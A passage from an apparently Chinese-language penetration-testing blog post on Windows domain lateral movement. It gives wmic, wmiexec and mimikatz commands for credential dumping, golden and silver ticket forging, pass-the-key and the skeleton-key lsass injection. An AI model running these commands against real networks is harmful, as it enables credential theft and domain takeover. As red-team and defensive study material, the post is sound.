&lt;p&gt;“自从PsExec在内网中被严格监控后，越来越多的反病毒厂商将PsExec加入了黑名单，于是攻击者逐渐开始使用WMI进行横向移动。通过渗透测试发现，在使用wmiexec进行横向移动时，Windows操作系统默认不会将WMI的操作记录在日志中，同时攻击脚本无需写入到磁盘，具有极高的隐蔽性。因为在这个过程中不会产生日志，所以，对网络管理员来说增加了攻击溯源的成本。而对攻击者来说，其恶意行为被发现的可能性有所降低、隐蔽性有所提高。由此，越来越多的APT开始使用WMI进行攻击，利用WMI可以进行信息收集、探测、反病毒、虚拟机检测、命令执行、权限持久化等操作。”&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;使用条件&lt;/p&gt;
&lt;p&gt;1、WMI服务开启，端口135，默认开启。&lt;/p&gt;
&lt;p&gt;2、防火墙允许135、445等端口通信。&lt;/p&gt;
&lt;p&gt;3、知道目标机的账户密码。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;执行命令：&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;wmic /node:191.168.52.136 /user:xxxx /password:xxxxx  process call create &amp;#34;cmd.exe /c ipconfig&amp;gt;d:\result.txt&amp;#34;
//无需上传第三方软件，利用系统内置程序,单命令执行，执行后无结果回显
&lt;/code&gt;&lt;/pre&gt;&lt;h3 id=&#34;wmi常用命令&#34;&gt;WMI常用命令&lt;/h3&gt;
&lt;p&gt;&lt;a href=&#34;https://www.freebuf.com/articles/246440.html&#34;&gt;https://www.freebuf.com/articles/246440.html&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;文件管理&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;wmic fsdir where &amp;#34;drive=&amp;#39;c:&amp;#39; and filename=&amp;#39;whoami&amp;#39;&amp;#34; list

wmic fsdir &amp;#34;c:\\test&amp;#34; call delete
//删除C盘下的test目录，注意“\”要进行一下转义

wmic process where “NOT ExecutablePath LIKE ‘%Windows%’” GET ExecutablePath
//枚举出整个系统中的所有可执行文件

for /f &amp;#34;skip=1 tokens=1*&amp;#34; %i in (&amp;#39;wmic datafile where &amp;#34;FileName=&amp;#39;qq&amp;#39; and extension=&amp;#39;exe&amp;#39;&amp;#34; get drive^,path&amp;#39;) do (set &amp;#34;qPath=%i%j&amp;#34;&amp;amp;@echo %qPath:~0,-3%)
//wmic 全盘搜索某文件并获取该文件所在目录
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;环境变量&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;wmic environment get Description, VariableValue

wmic environment where &amp;#34;name=&amp;#39;temp&amp;#39;&amp;#34; get UserName,VariableValue
//环境变量，获取temp环境变量

wmic environment where &amp;#34;name=&amp;#39;path&amp;#39; and username=&amp;#39;&amp;lt;system&amp;gt;&amp;#39;&amp;#34; set VariableValue=&amp;#34;%path%;c:\whoami&amp;#34;
//更改PATH环境变量值，新增c:\whoami
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;进程管理&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;wmic process list brief
//列出所有进程信息

wmic process get processid,name,executablepath 
//Full显示所有、Brief显示摘要、Instance显示实例、Status显示状态

wmic process where name=&amp;#34;vmtoolsd.exe&amp;#34; get executablepath
//获取指定进程可执行文件的路径

wmic process call create &amp;#34;C:\windows\system32\notepad.exe&amp;#34;
//创建进程

wmic process call create &amp;#34;cmd.exe /c &amp;#39;ipconfig&amp;#39;&amp;#34;
wmic process call create &amp;#34;shutdown.exe -r -f -t 60&amp;#34;
//根据系统命令创建进程

wmic process where name=&amp;#34;notepad.exe&amp;#34; delete
wmic process where pid=&amp;#34;244&amp;#34; delete 
//删除进程
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;用户账户管理&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;wmic useraccount
wmic useraccount list brief

wmic useraccount where &amp;#34;name=&amp;#39;%UserName%&amp;#39;&amp;#34; call rename newUserName
// 更改当前用户名
wmic useraccount where &amp;#34;name=&amp;#39;Administrator&amp;#39;&amp;#34; call Rename admin
// 更改指定用户名
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;获取补丁信息&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;wmic qfe list brief
wmic qfe get Caption,Description,HotFixID,IntsalledOn
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;查看域控制器&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;wmic ntdomain list brief
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;查看安装的软件信息&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;wmic product get name,version
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;远程桌面连接
使用WMIC命令开启远程计算机的远程桌面连接：&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;2
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-cmd&#34; data-lang=&#34;cmd&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;wmic /node:192.168.52.138 /USER:administrator PATH win32_terminalservicesetting WHERE (__Class!=&lt;span class=&#34;s2&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;) CALL SetAllowTSConnections 1
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;// wmic /node:&lt;span class=&#34;s2&#34;&gt;&amp;#34;[full machine name]&amp;#34;&lt;/span&gt; /USER:&lt;span class=&#34;s2&#34;&gt;&amp;#34;[domain]\[username]&amp;#34;&lt;/span&gt; PATH win32_terminalservicesetting WHERE (__Class!=&lt;span class=&#34;s2&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;) CALL SetAllowTSConnections 1
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;共享管理&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt; 1
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 2
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 3
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 4
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 5
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 6
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 7
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 8
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 9
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;10
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-cmd&#34; data-lang=&#34;cmd&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;wmic share list brief
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;wmic share get name,path,status
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;wmic share call create &lt;span class=&#34;s2&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,&lt;span class=&#34;s2&#34;&gt;&amp;#34;test&amp;#34;&lt;/span&gt;,&lt;span class=&#34;s2&#34;&gt;&amp;#34;3&amp;#34;&lt;/span&gt;,&lt;span class=&#34;s2&#34;&gt;&amp;#34;TestShareName&amp;#34;&lt;/span&gt;,&lt;span class=&#34;s2&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,&lt;span class=&#34;s2&#34;&gt;&amp;#34;c:\whoami&amp;#34;&lt;/span&gt;,0
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;可使用 WMIC SHARE CALL Create /? 查看create后的参数类型&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;// 建立共享
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;wmic share where &lt;span class=&#34;s2&#34;&gt;&amp;#34;name=&amp;#39;C$&amp;#39;&amp;#34;&lt;/span&gt; call delete
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;wmic share where &lt;span class=&#34;s2&#34;&gt;&amp;#34;path=&amp;#39;c:\test&amp;#39;&amp;#34;&lt;/span&gt; delete
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;// 删除共享
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;h3 id=&#34;wmiexec&#34;&gt;wmiexec&lt;/h3&gt;
&lt;p&gt;要执行命令并回显请使用wmiexec.py，⽤445端口传回显：&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;2
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-cmd&#34; data-lang=&#34;cmd&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;python wmiexec.py administrator:Liu78963@192.168.183.130
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;// python wmiexec.py 用户名:密码@目标IP
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;指定-hashes选项的话，则可进行哈希传递。&lt;/p&gt;
&lt;p&gt;exe版本命令与wmiexec.py一模一样。在跳板机上上传wmiexec.exe并运行如下命令获取目标系统192.168.52.138的shell：&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-cmd&#34; data-lang=&#34;cmd&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;wmiexec.exe administrator:Liu78963@192.168.183.130
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;h3 id=&#34;wmiexecvbs&#34;&gt;wmiexec.vbs&lt;/h3&gt;
&lt;p&gt;&lt;a href=&#34;https://github.com/Twi1ight/AD-Pentest-Script/blob/master/wmiexec.vbs&#34;&gt;https://github.com/Twi1ight/AD-Pentest-Script/blob/master/wmiexec.vbs&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;wmiexec.vbs脚本通过VBS调用WMI来模拟PsExec的功能。其可以在远程系统中执行命令并进行回显，获取远程主机的半交互式Shell。&lt;/p&gt;
&lt;p&gt;wmiexec.vbs支持两种模式，一种是半交互式shell模式，另一种是执行单条命令模式。&lt;/p&gt;
&lt;h2 id=&#34;ptk-密钥传递&#34;&gt;PTK-密钥传递&lt;/h2&gt;
&lt;p&gt;即 Pass The Key ，当系统安装了 KB2871997 补丁且禁用了 NTLM 的时候，那我们抓取到的 ntlm hash. 也就失去了作用，但是可以通过 pass the key 的攻击方式获得权限。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;利用条件&lt;/p&gt;
&lt;p&gt;1、目标主机打过KB2871997&lt;/p&gt;
&lt;p&gt;2、所以必须使用SID值为500的用户&lt;/p&gt;
&lt;/blockquote&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;2
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;3
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;4
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-cmd&#34; data-lang=&#34;cmd&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;mimikatz sekurlsa::ekeys
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;//获取用户的aes key
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;sekurlsa::pth /user:xxx /domain:xxx /aes256:xxxxxxxx&lt;span class=&#34;s2&#34;&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;//注入aes key，成功后会返回一个cmd
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;h2 id=&#34;ptt-票据传递&#34;&gt;PTT-票据传递&lt;/h2&gt;
&lt;h3 id=&#34;ms14-068&#34;&gt;MS14-068&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;利用条件&lt;/p&gt;
&lt;p&gt;1.域控没有打MS14-068的补丁(KB3011780)&lt;/p&gt;
&lt;p&gt;2.拿下一台加入域的计算机，并且能dump出某一域成员的用户名，密码，SID等值&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;域用户hack在域成员主机A上登录过，域成员主机A的管理员通过&lt;code&gt;mimikatz&lt;/code&gt;得到了域用户hack的用户名，密码，SID等值，而且域控存在&lt;code&gt;MS14-068&lt;/code&gt;漏洞，现在域成员主机A想通过&lt;code&gt;MS14-068&lt;/code&gt;漏洞访问域控。&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;https://github.com/abatchy17/WindowsExploits/tree/master/MS14-068&#34;&gt;https://github.com/abatchy17/WindowsExploits/tree/master/MS14-068&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;https://www.cnblogs.com/-mo-/p/11890539.html&#34;&gt;https://www.cnblogs.com/-mo-/p/11890539.html&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;https://www.cnblogs.com/yuzly/p/10859520.html&#34;&gt;https://www.cnblogs.com/yuzly/p/10859520.html&lt;/a&gt;&lt;/p&gt;
&lt;h3 id=&#34;黄金票据&#34;&gt;黄金票据&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;利用条件&lt;/p&gt;
&lt;p&gt;1.域名称&lt;/p&gt;
&lt;p&gt;2.域的SID值&lt;/p&gt;
&lt;p&gt;3.域的KRBTGT账户密码HASH（通常需要SYSTEM权限才能dump）&lt;/p&gt;
&lt;p&gt;4.伪造用户名，可以是任意的&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;kerberos协议原理参考&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;https://blog.csdn.net/qq_41874930/article/details/108124366&#34;&gt;NTML认证与kerberos认证与PAC相关知识&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://raw.githubusercontent.com/Anthem-whisper/imgbed/master/img/202206141128058.png&#34; alt=&#34;&#34;&gt;&lt;/p&gt;
&lt;p&gt;域中每个用户的 Ticket 都是由 krbtgt 的密码 Hash 来计算生成的，因此只要获取到了 krbtgt 用户的密码 Hash ，就可以随意伪造 Ticket ，进而使用 Ticket 登陆域控制器，使用 krbtgt 用户 hash 生成的票据被称为 Golden Ticket，此类攻击方法被称为票据传递攻击。&lt;/p&gt;
&lt;p&gt;首先获取krbtgt的用户hash:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-cmd&#34; data-lang=&#34;cmd&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;mimikatz &lt;span class=&#34;s2&#34;&gt;&amp;#34;lsadump::dcsync /domain:xx.com /user:krbtgt&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;利用 mimikatz 生成域管权限的 Golden Ticket，填入对应的域管理员账号、域名称、sid值，如下：&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;2
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;3
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;4
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;5
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;6
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;7
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-cmd&#34; data-lang=&#34;cmd&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;kerberos::golden /admin:administrator /domain:ABC.COM /sid:S-1-5-21-3912242732-2617380311-62526969 /krbtgt:c7af5cfc450e645ed4c46daa78fe18da /ticket:test.kiribi
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;kerberos::ptt test.kiribi #导入刚才生成的票据
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;dir&lt;/span&gt; \\dc.abc.com\c$  #导入成功后可获取域管权限
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;h3 id=&#34;白银票据&#34;&gt;白银票据&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;利用条件&lt;/p&gt;
&lt;p&gt;1.域名称&lt;/p&gt;
&lt;p&gt;2.域的SID值&lt;/p&gt;
&lt;p&gt;3.域中的Server服务器账户的NTLM-Hash&lt;/p&gt;
&lt;p&gt;4.伪造的用户名，可以是任意用户名.&lt;/p&gt;
&lt;p&gt;5.目标服务器上面需要访问的kerberos服务&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img src=&#34;https://raw.githubusercontent.com/Anthem-whisper/imgbed/master/img/202206141131526.png&#34; alt=&#34;&#34;&gt;&lt;/p&gt;
&lt;p&gt;可以伪造的服务&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;服务名称&lt;/th&gt;
&lt;th&gt;同时需要的服务&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;WMI&lt;/td&gt;
&lt;td&gt;HOST RPCSS&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;PowerShell Remoting&lt;/td&gt;
&lt;td&gt;HOST HTTP&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;WinRM&lt;/td&gt;
&lt;td&gt;HOST HTTP&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Scheduled Tasks&lt;/td&gt;
&lt;td&gt;HOST&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Windows File Share (CIFS)&lt;/td&gt;
&lt;td&gt;CIFS&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;LDAP operations includingMimikatz DCSync&lt;/td&gt;
&lt;td&gt;LDAP&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Windows Remote Server Administration Tools&lt;/td&gt;
&lt;td&gt;RPCSS LDAP CIFS&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;服务说明：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Silver Ticket连接到具有管理员权限Windows计算机上的WMI
为“ HOST ”服务和“ rpcss ”服务创建白银票据以使用WMI在目标系统上远程执行命令。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Silver Ticket连接到以Windows管理员权限计算机上的PowerShell远程执行&lt;/p&gt;
&lt;p&gt;为“ http ”服务和“ wsman ”服务创建Silver Ticket，以获得目标系统上的WinRM和或PowerShell Remoting的管理权限。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;具有管理员权限的Windows计算机（HOST）的Silver Ticket&lt;/p&gt;
&lt;p&gt;创建银票以获得目标计算机上所涵盖的任何Windows服务的管理员权限。这包括修改和创建计划任务的权限。&lt;/p&gt;
&lt;p&gt;注入两张HTTP＆WSMAN白银票据后，我们可以使用PowerShell远程（或WinRM的）反弹出目标系统shell。首先New-PSSession使用PowerShell创建到远程系统的会话的PowerShell cmdlet，然后Enter-PSSession打开远程shell。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Windows共享（CIFS）管理访问的Silver Ticket&lt;/p&gt;
&lt;p&gt;为 “cifs ”服务创建白银票据，以获得目标计算机上任何Windows共享的管理权限。&lt;/p&gt;
&lt;p&gt;注入CIFS Silver Ticket后，我们现在可以访问目标计算机上的任何共享，包括&lt;code&gt;c$&lt;/code&gt;共享，我们能够将文件拷贝到共享文件中。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Silver Ticket连接到具有管理员权限Windows计算机上的LDAP
为&amp;quot;ldap&amp;quot;服务创建Silver Ticket 以获得目标系统（包括Active Directory）上LDAP服务的管理权限。&lt;/p&gt;
&lt;p&gt;利用LDAP Silver Ticket，我们可以远程访问LDAP服务来获得krbtgt的信息&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;步骤(伪造CIFS的白银票据)：&lt;/p&gt;
&lt;p&gt;1.获取hash sid等信息&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-cmd&#34; data-lang=&#34;cmd&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;mimikatz.exe &lt;span class=&#34;s2&#34;&gt;&amp;#34;privilege::debug&amp;#34;&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;sekurlsa::logonpasswords&amp;#34;&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;exit&amp;#34;&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;&amp;gt;&lt;/span&gt; 1.txt
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;2.伪造白银票据&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;kerberos::golden /domain:0day.org /sid:S-1-5-21-1812960810-2335050734-3517558805 /target:OWA2010SP3.0day.org /service:cifs /rc4:125445ed1d553393cce9585e64e3fa07 /user:silver /ptt
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;参数说明：&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;/domain：当前域名称
/sid：SID值，和金票一样取前面一部分
/target：目标主机，这里是OWA2010SP3.0day.org
/service：服务名称，这里需要访问共享文件，所以是cifs
/rc4：目标主机的HASH值
/user：伪造的用户名
/ptt：表示的是Pass TheTicket攻击，是把生成的票据导入内存，也可以使用/ticket导出之后再使用kerberos::ptt来导入
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;这时通过klist查看当前会话的kerberos票据可以看到生成的票据。&lt;/p&gt;
&lt;p&gt;使用&lt;code&gt;dir \\OWA2010SP3.0day.org\c$&lt;/code&gt;访问DC的共享文件夹。&lt;/p&gt;
&lt;h3 id=&#34;skeleton-key&#34;&gt;skeleton key&lt;/h3&gt;
&lt;p&gt;skeleton key(万能钥匙)就是给所有域内用户添加一个相同的密码，域内所有的用户 都可以使用这个密码进行认证，同时原始密码也可以使用，其原理是对 lsass.exe 进行注 入，所以重启后会失效。&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;#在域控上安装 skeleton key
mimikatz.exe privilege::debug &amp;#34;misc::skeleton&amp;#34;

#在域内其他机器尝试使用 skeleton key 去访问域控，添加的密码是 mimikatz
net use \\WIN-9P499QKTLDO.adtest.com\c$ mimikatz /user:adtest\administrator`
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;微软在 2014 年 3 月 12 日添加了 LSA 爆护策略，用来防止对进程 lsass.exe 的代码注入。如果直接尝试添加 skelenton key 会失败。&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;#适用系统
windows 8.1
windows server 2012 及以上` 
